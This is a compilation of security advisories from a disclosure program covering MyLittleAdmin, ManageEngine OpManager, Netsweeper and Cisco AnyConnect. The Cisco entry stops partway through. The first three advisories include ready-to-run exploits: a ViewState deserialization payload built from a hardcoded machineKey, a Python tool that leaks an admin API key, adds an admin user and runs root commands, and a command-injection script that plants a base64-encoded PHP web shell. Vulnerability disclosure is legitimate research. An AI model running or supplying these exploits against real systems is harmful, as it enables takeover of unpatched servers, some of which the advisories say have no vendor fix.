SSD Advisory – MyLittleAdmin PreAuth RCE

TL;DR

Find out how we managed to execute arbitrary commands on MyLittleAdmin management tool using unauthenticated RCE vulnerability. 

Vulnerability Summary

MyLittleAdmin is a web-based management tool specially designed for MS SQL Server. It fully works with MS SQL Server. While the product appears to be discontinued (no new releases since 2013) it is still being offered on the company web site as well as part of the optional installation of Plesk. Furthermore, there are numerous active installations present on the Internet. An unauthenticated RCE vulnerability in the product allows remote attackers to execute arbitrary commands within the context of the IIS application engine.

CVE

CVE-2020-13166

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

MyLittleAdmin version 3.8, we suspect older versions are also affected but have no way to verify it.

Vendor Response

Numerous attempts to contact the vendor went unanswered, attempts to email sales@ and support@ as well as the twitter account apparently has not reached anyone as we have not received any response.

Vulnerability Details

MyLittleAdmin utilizes a hardcoded machineKey for all installations, this value is kept in the file: C:\Program Files (x86)\MyLittleAdmin\web.config

An attacker having this knowledge can then serialize objects that will be parsed by the ASP code used by the server as if it were MyLittleAdmin’s serialized object. This allow an attacker to execute commands on the remote server.

Vulnerable Key

The following is the hardcoded key used by MyLittleAdmin, by inserting its values to ysoserial.exe it is possible to create a payload that will execute a command of our choice:

<machineKey
validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33E77E0628B17AA928039BF"
decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4" validation="SHA1" />

Demo

Have the skills to find similar vulnerabilities? We’re on the lookout for Server Management Tool researchers to submit their finding, receive very generous rewards and join our team. Click below for more information:

Exploit

The provided exploit code will connect to a remote server and send a payload that starts a calc.exe in the context of IIS Application Engine

#!/usr/bin/python3
import requests
import sys
import logging

from bs4 import BeautifulSoup

# These two lines enable debugging at httplib level (requests->urllib3->http.client)
# You will see the REQUEST, including HEADERS and DATA, and RESPONSE with HEADERS but without DATA.
# The only thing missing will be the response.body which is not logged.
try:
    import http.client as http_client
except ImportError:
    # Python 2
    import httplib as http_client

http_client.HTTPConnection.debuglevel = 0

# You must initialize logging, otherwise you'll not see debug output.
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True

print("Connecting to remote server and collecting ASP state and event values")
r = requests.get('http://10.0.0.38')

soup = BeautifulSoup(r.text, 'html.parser')
# print(soup.prettify())

__VIEWSTATEGENERATOR = ""
__EVENTVALIDATION = ""
ServerName = ""

for input in soup.find_all('input'):
  if input['id'] == '__VIEWSTATEGENERATOR':
    __VIEWSTATEGENERATOR = input['value']
  if input['id'] == '__EVENTVALIDATION':
    __EVENTVALIDATION = input['value']
  if input['name'] == 'fServerName$cControl':
    ServerName = input['value']

# print("__VIEWSTATEGENERATOR: {}\n__EVENTVALIDATION: {}\nServerName: {}".format(__VIEWSTATEGENERATOR, __EVENTVALIDATION, ServerName))

shellcode = "/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgvRWjvTrAIEiQyXFySADCN2ualb9g=="

payload = {
  '__VIEWSTATE' : shellcode,
  '__VIEWSTATEGENERATOR' : __VIEWSTATEGENERATOR,
  '__EVENTVALIDATION' : __EVENTVALIDATION,
  'fServerName$cControl' : ServerName,
  'txtDatabase' : '',
  'listAuthentication' : 'sql',
  'txtLogin' : '',
  'txtPassword' : '',
  'listProtocol' : '',
  'txtPacketSize' : '4096',
  'txtConnectionTimeOut' : '15', 
  'txtExecutionTimeOut' : '0',
  'btnConnect': 'Connect'
}

headers = {
  'Content-Type': 'application/x-www-form-urlencoded',
  'Cookie': 'Skin=default; CultureName=en-US',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  'Origin': 'http://10.0.0.38',
  'Referer': 'http://10.0.0.38/',
  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36',
}

print("Sending shellcode request to server")
r = requests.post("http://10.0.0.38", data=payload, headers=headers)

if "An error occured." in r.text:
  print("Check Task Manager for win32calc.exe")
else:
  print("Failed to launch shellcode: {}".format(r.text))

SSD Advisory – ManageEngine OpManager Unauthenticated Access API Key Access leads to RCE

Vulnerability Summary

ManageEngine OpManager is a central management software written in Java. A vulnerability in ManageEngine OpManager allows a remote attacker to leak the API key of the product (administrative level API key) which we can then use to execute remote commands with root privileges.

Credit

An independent Security Researcher, @kuncho, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

ManageEngine OpManager version 12.5.118 and prior.

CVE

CVE-2020-11946

Vendor Response

The vendor has released a patch to resolve this vulnerability: Unauthenticated access to API key disclosure from a servlet call.

Vulnerability Details

The servlet that leaks the admin API key is located at OpManagerIp/servlet/sendData, The Servlet is defined at line 840 in /opt/ManageEngine/OpManager/WEB-INF/web.xml as follows.

  <servlet>
    <servlet-name>sendData</servlet-name>
    <servlet-class>com.adventnet.la.enterprise.servlet.SendDataServlet</servlet-class>
  </servlet>

The class file for the servlet is found in a jar file located at /opt/ManageEngine/OpManager/lib/FirewallService.jar, the code path that causes the bug is shown below:

      public void doPost(final HttpServletRequest req, final HttpServletResponse res) throws ServletException, IOException {
          this.processRequest(req, res);
      }
  
      private void processRequest(final HttpServletRequest req, final HttpServletResponse res) {
          if (!"DS".equals(System.getProperty("server.type")) && !"fwacs".equals(req.getParameter("reqFrm"))) {
              System.out.println(" WARNING: Installation is not of type Distributed Server. ");
              return;
          }
          if ("DS".equals(System.getProperty("server.type")) && !this.isValidReq(req)) {
              SendDataServlet.LOGGER.log(Level.INFO, "Not a valid Request. Going to return");
              return;
          }
          res.resetBuffer();
          res.reset();
          final String adminBuild = req.getParameter("adminBuild");
          if (adminBuild != null) {
              *** snipped ***
          }
          OutputStream outStream = null;
          try {
              final String toProcess = req.getParameter("process");
              final String eeLicExStatus = req.getParameter("fwaDEcountEx");
              if ("applyLic".equals(toProcess)) {
                  *** snipped ***
              }
              else {
                  *** snipped ***
                  final boolean isCentralArchiveEnabled = "true".equals(req.getParameter("isCentralArchiveEnabled"));
                  final boolean isApikeyNeeded = "true".equals(req.getParameter("key"));
                  this.processCentralArchiveRequest(req);
                  outStream = (OutputStream)res.getOutputStream();
                  this.dataSyncHandler.sync(toProcess, null, outStream); //Bug ONE
                  if (isCentralArchiveEnabled) {
                      this.dataSyncHandler.sync("archive", null, outStream);
                  }
                  if (isApikeyNeeded) {
                      this.dataSyncHandler.sync("apikey", req.getParameter("user"), outStream); // Bug TWO
                  }
                  if (eeLicExStatus != null) {
                      FirewallConstants.setFwDELicStatus(eeLicExStatus);
                      this.invokeUIReload(eeLicExStatus);
                  }
              }
          }

As can we can clearly see from the above code, The servlet calls a function in the dataSyncHandler class with user controlled variables, The dataSyncHandler class has a function named sync which basically queries data from the server and sends it back to us. The first parameter to this function determines what type of data we request, In our case the argument is defined by us in the first call (bug number one) and it is set to apikey in the second call (bug number two). What’s more interesting is in bug number two, the servlet passes our user parameter to the function which allows us to grab the admin API key by setting that parameter to admin. The code for the dataSyncHandler is shown below for reference.

  // </opt/ManageEngine/OpManager/lib/FirewallService.jar>/com/adventnet/la/enterprise/dc/DefaultDataSynchronizer.java
  @Override
  public void sync(final String toProcess, final String addlParam, final OutputStream out) throws EnterpriseException {
    if ("sData".equals(toProcess)) {
      this.syncData(out);
    }
    else if ("apikey".equals(toProcess)) {
      this.getApikey(addlParam, out);
    }
    else if ("rPtr".equals(toProcess)) {
      this.clearAndUpdate(out);
    }
    else if ("del".equals(toProcess)) {
      this.saveDeletedInfo();
    }
    else if ("archive".equals(toProcess)) {
      this.syncArchive(out);
    }
    else {
    if (!"mstat".equals(toProcess)) {
      throw new EnterpriseException("Problem while syncing, Unknow entity " + toProcess + " passed for syncing");
    }
    DefaultDataSynchronizer.LOGGER.log(Level.INFO, "License count check from colletor to admin server");
      this.getLicStatus(out);
    }
  }
  
  private void getApikey(final String user, final OutputStream out) throws EnterpriseException {
      try {
          out.write("\nkey=Start\n".getBytes());
          out.write(FwaApiDBUtil.getInstance().getApikeyForUser(user).getBytes());
      }
      catch (Exception exp) {
          throw new EnterpriseException("Error occured while getting apikey", exp);
      }
  }

A curl request that triggers the bug is given below

  curl -v 'http://192.168.56.101:8060/servlet/sendData' -d 'reqFrm=fwacs&key=true&user=admin&process=apikey'

This would result in a response such as this:

  key=Start
  1a5072b0a1b3fb4a93008b52ffc0ab70
  key=Start
  882781cb3818e748404f059f09f246f3

>As a note, On opManager installs with build numbers prior to 123127 the sendData servlet does not exist. The same bug is found on those versions too though. The servlet name and the post data must be adjusted to the following to get the API key. The attached POC automatically checks the build version and uses the right servlet:

  curl -v 'http://172.17.0.2:80/oputilsServlet' -d 'action=getAPIKey'

A sample API request to list all the users in the system, with output:

  curl 'http://192.168.56.101:8080/api/json/nfausers/getAllUsers?apiKey=882781cb3818e748404f059f09f246f3'
  
  [{"uID":1,"currentUser":true,"uName":"admin","uDesc":"Administrator","prevLogin":"Not Available","uAuth":"local","assignPass":false,"authentication":"Local Authentication","currentLogin":"11 Apr 2020 06:13:47 PM UTC"},{"uID":2,"currentUser":false,"uName":"trialuserlogin","uDesc":"Administrator","prevLogin":"Not Available","uAuth":"local","assignPass":false,"authentication":"Local Authentication","currentLogin":"Not Available"}]

After the API key has been obtained, qe can use it to add an admin user and execute remote command using the notification profile test functionality. The notification profile test command execution is not a bug but an option to run a command when an event is triggered.

A sample API request to add a new admin user is given below:

  curl -k 'http://192.168.56.101:8080/api/json/v2/admin/addUser' -d 'userName=support&privilege=Administrator&emailId=mail%40localhost.net&landLine=&mobileNo=&sipenabled=true&tZone=undefined&allDevices=true&authentication=local&fwaresources=&raMode=0&ncmallDevices=&password=P@ssw0rd&apiKey=882781cb3818e748404f059f09f246f3'
  
  {"result":{"message":"User has been successfully added."}}

A request (After logging in with the new user) that will trigger the RCE is shown below (command is run as root):

  curl 'http://192.168.56.101:8080/client/api/json/admin/testNProfile' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-ZCSRF-TOKEN: opmcsrftoken=a8a3b865cce2cd55358242bc470c76d86124797743526a9f749f8643a3bdc586aad023e709657e788e7c1db2c9b00d3ee1ebeaa6959cb72e9a376ebb34ed9c4a' -H 'Cookie: signInAutomatically=true; JSESSIONID=2B0F9568F1730E05146C499F7EA9ACF3; CountryName=ETHIOPIA; NFA__SSO=D74EBE20D409F2C084EEDFF89F818F42; A07A2ABA1A105DA969183132185534A8=MzU0NjIzZDBmMWNlNmEyZjc1OTAyMmE2OWFmOWM5NzI4NjQ0MTAzNmEyOWQ5ODhlZDU2MDNjYTdmMGM0M2U0OGJhNGQwMWI1YjUxNmQzMTY5YjU2YmVkMjFhZDFiMDcwNmU0ZTAzODZjNjUyMTZkNDZhMTM0NzhiMjc3Y2UwODkwYTNjNzBjNzgyNTE1NzlhZmJhYTg1NTdlYTYyOGUyOGQ4ZGI1ZGEx; opmcsrfcookie=a8a3b865cce2cd55358242bc470c76d86124797743526a9f749f8643a3bdc586aad023e709657e788e7c1db2c9b00d3ee1ebeaa6959cb72e9a376ebb34ed9c4a' --data '&append=true&command=id>/tmp/PWNED&selectedseverities=1,2,3,4&checkedhardwareMonitor=true&selectAllhardwareMonitor=true&selectedDevicesStr=127.0.0.53&twoption=All&profileType=Run System Command&name=POP'
  
  {"result":{"message":"Test Action Is Successful"}}

Demo

Exploit

The included with exploit to create a full command execution from the API key leak

#!/usr/bin/python2

import requests
import sys
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class OpManagerExploit():
    def __init__(self,url):
        self.url = url
        self.ver = None
        self.api_key = False

    def FindVer(self):
        ver_req = requests.get(self.url+'/js/%2e%2e/html/About.properties',verify=False,allow_redirects=False)
        if ver_req.status_code != 200:
            print '[-] Unexpected response to fingerprinting request, Bailing.'
            return False
        if ver_req.text.find('BUILD_NUMBER') == -1 or ver_req.text.find('BUILD_VERSION') == -1:
            print '[-] Unable to read OpManager version, Bailing'
            return False
        t = ver_req.text
        self.ver = int(t[t.find('BUILD_NUMBER')+13:t.find('\n',t.find('BUILD_NUMBER'))].strip())
        print '\n[+] Build version of opManager is {}'.format(self.ver)
        print '[+] Found OpManager Version {}'.format(t[t.find('BUILD_VERSION')+13:t.find('\n',t.find('BUILD_VERSION'))].strip())
    
    def LeakApiKey(self):
        if self.ver >= 123127:
            leak_d = {'reqFrm':'fwacs','key':'true','user':'admin','process':'apikey'}
            leak_r = requests.post(self.url+'/servlet/sendData',verify=False,data = leak_d)
            if leak_r.status_code != 200:
                print '[-] Failed to extract API KEY.'
                return False
            
            if leak_r.text.find('key=Start') == -1:
                print '[-] Invalid response in LeakApiKey()'
                return False
            
            d = leak_r.text
            api_key = d[d.find('key=Start',d.find('key=Start')+11)+10:].strip()
            print '[+] Got API Key {}'.format(api_key)
            return api_key
        else:
            leak_d = {'action':'getAPIKey'}
            leak_r = requests.post(self.url+'/oputilsServlet',verify=False,data = leak_d)
            if leak_r.status_code != 200:
                print '[-] Failed to extract API KEY.'
                return False
            d = leak_r.text
            if d.find('API_KEY=') == -1:
                print '[-] Failed to extract API key'
                return False
            api_key = d[d.find('API_KEY=')+8:d.find('\n',d.find('API_KEY='))]
            print '[+] Got API Key {}'.format(api_key)
            return api_key

    def AddUser(self,interact=False):
        
        if self.api_key is False:
            print '[+] Leaking API key to add a new user'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api to add a user'
                return False
        
        if interact == True:
            username = raw_input('Username > ')
            password = raw_input('Password > ')
        else:
            username = 'support@localhost.net'
            password = 'P@ssw0rd'
        
        print '[+] Adding a new admin user'
        #add_d = {'userName':username,'privilege':'Administrator','emailId':'mail@localhost.net','sipenabled':'true', 'tZone':'undefined','authentication':'local','raMode':'0','password':password,'apiKey':self.api_key}
        add_d = 'userName='+username+'&privilege=Administrator&emailId=mail@localhost.net&sipenabled=true&tZone=undefined&authentication=local&raMode=0'+'&apiKey='+self.api_key
        print "url: {}, add_d: {}".format(self.url, add_d)
        add_r = requests.post(self.url+'/api/json/v2/admin/addUser?'+add_d,files={'password':(None, password)},verify=False,headers={'Accept':'application/json'})
        if add_r.status_code != 200:
            print '[-] Failed to add a new user, invalid response'
            return False
        else:
            try:
                resp = json.loads(add_r.text)
            except:
                print '[-] Failed to add user, Invalid response data'
                print "add_r: {}".format(add_r.content)
                return False
            if resp.keys()[0] == 'error':
                print '[+] Error {} while adding user'.format(resp['error']['message'])
                return False
            else:
                print '[+] Success, Response from server: {}'.format(resp['result']['message'])
                return True
    
    def DeleteUser(self,interact=False):
        if self.api_key is False:
            print '[+] Leaking API key to delete a user'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api to delete a user'
                return False
        if interact == True:
            username = raw_input('Username to delete> ')
        else:
            username = 'support@localhost.net'
        
        users_list = requests.get(self.url+'/api/json/nfausers/getAllUsers?apiKey='+self.api_key,verify=False).text
        try:
            usl = json.loads(users_list)
        except:
            print '[-] Failed to obtain user list'
            return False
        
        user_id = None
        for u in usl:
            if u['uName'] == username:
                user_id = int(u['uID'])
                print '[+] Found user id {}'.format(user_id)
                break
        
        if user_id is None:
            print '[-] Username not found '
            return False
        
        del_r = requests.post(self.url+'/api/json/admin/deleteUser',verify=False, data = {'userId':user_id,'apiKey':self.api_key})
        if del_r.status_code == 200 and json.loads(del_r.text).keys()[0] != 'error':
            print '[+] User deleted successfully'
            return True
        else:
            print '[-] User deletion Failed.'
            return False

    def ExecuteCommand(self):
        if self.api_key is False:
            print '[+] Leaking API key for RCE'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api for RCE'
                return False
        if self.AddUser() is False:
            print '[-] Failed to add user for RCE'
            return False
        
        print '[+] Loggin in with the added user'
        login_dat = {'AUTHRULE_NAME':'Authenticator','clienttype':'html','ScreenWidth':'1920','ScreenHeight':'602','loginFromCookieData':'false','ntlmv2':'false','j_username':'support@localhost.net','j_password':'P@ssw0rd','signInAutomatically':'on','uname':''}
        sess = requests.Session()
        sess.get(self.url+'/apiclient/ember/Login.jsp',verify=False,allow_redirects=False)
        login_r = sess.post(self.url+'/apiclient/ember/j_security_check',data=login_dat,verify=False)
        if login_r.status_code != 200 or (self.ver >= 123127 and 'opmcsrfcookie' not in sess.cookies.get_dict().keys()) or (self.ver < 123127  and login_r.text.find('selectLocalLogin()') != -1):
            print '[+] Login Failed...'
            self.DeleteUser()
            return False
        
        print '[+] Login Successful.'

        command = raw_input('Command to execute> ')
        if self.ver > 123127:
            cmd_d = {'append':'true','command':command,'selectedseverities':'1,2,3,4','checkedhardwareMonitor':'true','selectAllhardwareMonitor':'true','selectedDevicesStr':'127.0.0.53','twoption':'All','profileType':'Run System Command','name':'POP'}
            headers = {'X-ZCSRF-TOKEN': 'opmcsrftoken='+sess.cookies.get_dict()['opmcsrfcookie']}
            cmd_r = sess.post(self.url+'/client/api/json/admin/testNProfile',headers=headers,verify=False,data=cmd_d,allow_redirects=False)
        else:
            cmd_d = {'command':command,'selectedseverities':'1,2,3,4','checkeddevicemissespolls':'true','noofpolls':'1','deviceCategory':'iv_12','twoption':'All','profileType':'Run System Command','name':'as'}
            cmd_r = sess.post(self.url+'/api/json/admin/testNProfile?apiKey='+self.api_key,verify=False,data=cmd_d,allow_redirects=False)
        try:
            output = json.loads(cmd_r.text)
        except:
            print '[-] Invalid Response data from RCE request'
            self.DeleteUser()
            return False
        if output.keys()[0] == 'result':
            print '[+] Command successfully executed: {}'.format(output)
        print '[+] Done with RCE, Cleaning up user'
        self.DeleteUser()
        return True

    def Exploit(self):
        print '[+] Starting Exploit\n[+] Please choose operation'
        print '\t1) Execute Shell Command\n\t2) Add an admin user\n\t3) Delete a user\n\t4) Leak admin API Key'
        ch = raw_input("Choice> ")
        if ch == '1':
            self.ExecuteCommand()
        elif ch == '2':
            self.AddUser(interact=True)
        elif ch == '3':
            self.DeleteUser(interact=True)
        elif ch == '4':
            self.LeakApiKey()
        else:
            print '[-] wth is {}'.format(ch)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print '[+] Usage: {} <url>'.format(sys.argv[0])
        exit(1)
    ex = OpManagerExploit(sys.argv[1].strip())
    if ex.FindVer() == False:
        exit(1)
    
    ex.Exploit()

SSD Advisory – Netsweeper PreAuth RCE

Vulnerability Summary

Netsweeper provides real-time content monitoring and reporting for early intervention.

CVE

CVE-2020-13167

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Netsweeper webadmin version 6.4.3 and prior.

Vendor Response

We were unable to establish contact with Netsweeper, we have tried to reach their sales@ support@ email addresses as well as via twitter.

Vulnerability Details

The vulnerable endpoint is located at /webadmin/tools/unixlogin.php this script receives the three variables ‘login’, ‘password’, and ‘timeout’ from user then checks if referrer header contains a value that is in the array

$page = array ( "webadmin/admin/service_manager_data.php",
        "webadmin/systemconfig/grant_db_access.php",
        "webadmin/systemconfig/edit_email_sending_settings.php",
        "systemconfig/edit_file.php",
        "systemconfig/edit_database_settings.php",
        "systemconfig/manage_certs.php",
        "webadmin/api/");

If header contains one of the above strings and the user supplied variables are not empty the script the executes the command

$command authcheck $esclogin $escpassword

Where

$command = "sudo $NS_PATH/bin/service.sh";
$esclogin = escapeshellarg($login);
$escpassword = escapeshellarg($password);

Meaning that script `service.sh` is launched and the 2nd and 3rd parameters are the login and password supplied by the user.

In the authcheck functionality of the `service.sh` script the command

password=$($PYTHON -c "import crypt; print crypt.crypt('$2','\$$algo\$$salt\$')")

Gets executed, the 2nd parameter, which is the password parameter gets joined in to the Python crypt function as the first value to be passed, meaning we can control the rest of the Python command by using a well crafted password. For example, if the password is `g’,”);import os;os.system(‘echo ‘hello’ >/tmp/pwnd’)#’` it would make the command being run

($P>YTHON -c "import crypt; print crypt.crypt('g','');import os;os.system('id >/tmp/pwnd')#','\$$algo\$$salt\$')")

which results in a RCE.

Demo

Exploit

import requests,sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def exec_cmd(cmd,url):
    cmd = cmd.encode().hex()
    payload = "g','');import os;os.system('{}'.decode('hex'))#".format(cmd)
    payload = urllib.parse.quote(payload)

    headers  ={
    'Referer':'localhost/webadmin/admin/service_manager_data.php'
    }

    response = requests.get('{}/webadmin/tools/unixlogin.php?login=admin&password={}&timeout=5'.format(url,payload),headers=headers,verify=False)
    if (response.status_code!=200):
    	print("ERROR: server responded with status code {} instead of 200 ".format(response.status_code))
    	print("[!] : make sure this is a netsweeper server")
    	sys.exit(-1)

if __name__ == "__main__":

    if len(sys.argv)< 3:
    	print("[-] Usage: {} URL [shell_upload|execute_root_command]".format(sys.argv[0]))
    	sys.exit(-1)
    if sys.argv[2]=='shell_upload':
        cmd = "echo PGZvcm0gbWV0aG9kPSdQT1NUJz48aW5wdXQgdHlwZT0nVEVYVCcgbmFtZT0nYyc+PGlucHV0IHR5cGU9J1NVQk1JVCcgdmFsdWU9J0V4ZWN1dGUnPjw/cGhwIGlmKGlzc2V0KCRfUE9TVFsnYyddKSl7ZWNobyAnPHByZT4nO3N5c3RlbSgkX1BPU1RbJ2MnXSk7ZWNobyAnPC9wcmU+Jzt9Cg== | base64 -d > /usr/local/netsweeper/webadmin/shell.php"
        exec_cmd(cmd,sys.argv[1])
        print ("shell uploaded at : {}{}".format(sys.argv[1],'/webadmin/shell.php'))
    if sys.argv[2]=='execute_root_command':
    	cmd = input('root#')
    	cmd =  cmd +" > /usr/local/netsweeper/webadmin/out"
    	exec_cmd (cmd,sys.argv[1])
    	result = requests.get('{}/webadmin/out'.format(sys.argv[1]),verify=False)
    	print (result.content.decode("utf-8"))
    	exec_cmd('rm -rf /usr/local/netsweeper/webadmin/out',sys.argv[1])

SSD Advisory – Cisco AnyConnect Privilege Elevation through Path Traversal

Vulnerability Summary
The update functionality of the Cisco AnyConnect Secure Mobility Client for Windows is affected by a path traversal vulnerability that allows local attackers to create/overwrite files in arbitrary locations. Successful exploitation of this vulnerability allows the attacker to gain SYSTEM privileges.

Credit
An independent Security Researcher, Yorick Koster, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
Cisco AnyConnect Secure Mobility Client for Windows, Version 4.8.01090.

CVE
CVE-2020-3153

Vendor Response
Cisco has released a patch, available from: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj

Vulnerability Details
Cisco AnyConnect Secure Mobility Client contains functionality to auto-update itself. Auto-update also works for low-privileged users, which is possible because the update is initiated from a service called Cisco AnyConnect Secure Mobility Agent and is running with SYSTEM privileges. This service exposes TCP port 62522 on the loopback device to which clients can connect and send commands to be handled by this service. One of these command is to launch the vpndownloader application and update AnyConnect.

A path traversal vulnerability exists in the vpndownloader application for Windows that allows a local user to create and run files outside of the temporary installer folder. Successful exploitation of this vulnerability allows a local attacker to gain SYSTEM privileges.

The AnyConnect auto-update functionality has been affected by a number of vulnerabilities in the past that can be abused by local users to gain SYSTEM privileges (eg. Kostya Kortchinsky, Securify, Project Zero, SerializingMe). Cisco has made a number of changes to mitigate these attacks, amongst these changes are:

  • Executables need to have a valid Authenticode signature from Cisco Systems, Inc.
  • (New) versions of vpndownloader.exe are copied to %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Downloader.
  • Proper NTFS Permissions are (now) set on the %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\ folder.
  • the vpndownloader.exe executable must have vpndownloader.exe configured as the original filename in its version information.
  • When vpndownloader.exe launches additional installation files, these files also need to have a valid Authenticode signature from Cisco Systems, Inc..
